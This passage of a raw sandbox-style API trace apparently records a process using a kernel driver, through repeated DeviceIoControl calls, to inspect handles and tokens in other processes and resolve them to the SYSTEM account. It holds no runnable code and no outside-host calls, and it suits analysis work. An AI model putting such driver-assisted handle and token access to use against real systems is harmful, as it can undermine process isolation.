(in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.068] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0093.068] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.068] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.068] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.068] PsAcquireProcessExitSynchronization () returned 0x0 [0093.068] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.068] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0093.068] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.068] PsReleaseProcessExitSynchronization () returned 0x2 [0093.068] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.068] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.068] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0093.068] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.068] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.069] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.069] PsAcquireProcessExitSynchronization () returned 0x0 [0093.069] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.069] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0093.069] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.069] PsReleaseProcessExitSynchronization () returned 0x2 [0093.069] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.069] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.069] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0093.069] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.069] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.069] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.069] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.069] PsAcquireProcessExitSynchronization () returned 0x0 [0093.069] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.069] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0043297a0, HandleInformation=0x0) returned 0x0 [0093.069] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.069] PsReleaseProcessExitSynchronization () returned 0x2 [0093.069] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.069] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.069] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0093.069] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.069] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.069] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.069] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.069] PsAcquireProcessExitSynchronization () returned 0x0 [0093.069] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.069] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0093.069] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.069] PsReleaseProcessExitSynchronization () returned 0x2 [0093.069] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.070] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.070] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0093.070] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.070] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.070] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.070] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.070] PsAcquireProcessExitSynchronization () returned 0x0 [0093.070] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.070] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0093.070] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.070] PsReleaseProcessExitSynchronization () returned 0x2 [0093.070] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.070] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.070] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0093.070] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.070] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.070] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.070] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.070] PsAcquireProcessExitSynchronization () returned 0x0 [0093.070] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.070] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0093.070] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.070] PsReleaseProcessExitSynchronization () returned 0x2 [0093.070] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.292] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.292] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0093.292] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.292] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.292] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.292] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.292] PsAcquireProcessExitSynchronization () returned 0x0 [0093.292] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.292] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0093.292] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.292] PsReleaseProcessExitSynchronization () returned 0x2 [0093.292] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.292] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.292] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0093.292] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.293] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.293] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.293] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.293] PsAcquireProcessExitSynchronization () returned 0x0 [0093.293] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.293] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0093.293] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.293] PsReleaseProcessExitSynchronization () returned 0x2 [0093.293] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.293] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.293] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0093.293] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.293] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.293] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0093.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.293] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0093.293] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.293] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6e [0093.293] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.293] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.293] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.293] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.293] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.295] CloseHandle (hObject=0xc8) returned 1 [0093.295] CloseHandle (hObject=0xc0) returned 1 [0093.295] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.295] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.295] PsAcquireProcessExitSynchronization () returned 0x0 [0093.295] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880052335d0) [0093.295] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0093.295] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.295] PsReleaseProcessExitSynchronization () returned 0x2 [0093.295] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0093.295] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.295] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0093.295] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.295] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.295] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.295] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.295] PsAcquireProcessExitSynchronization () returned 0x0 [0093.295] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880052335d0) [0093.296] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0093.296] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.296] PsReleaseProcessExitSynchronization () returned 0x2 [0093.296] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0093.296] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0093.296] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0093.296] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.296] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.296] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0093.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.296] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0093.296] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.296] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7c [0093.296] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.296] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.296] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.296] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.296] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.297] CloseHandle (hObject=0xc8) returned 1 [0093.297] CloseHandle (hObject=0xc0) returned 1 [0093.298] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.298] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.298] PsAcquireProcessExitSynchronization () returned 0x0 [0093.298] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.298] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0093.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.298] PsReleaseProcessExitSynchronization () returned 0x2 [0093.298] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.298] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.298] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0093.298] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.298] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.298] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.298] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.298] PsAcquireProcessExitSynchronization () returned 0x0 [0093.298] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.298] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0093.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.298] PsReleaseProcessExitSynchronization () returned 0x2 [0093.298] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.298] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.298] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0093.298] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.298] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.298] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.298] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.298] PsAcquireProcessExitSynchronization () returned 0x0 [0093.298] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.298] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0093.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.299] PsReleaseProcessExitSynchronization () returned 0x2 [0093.299] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.299] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa8003969044, Length=0x800, 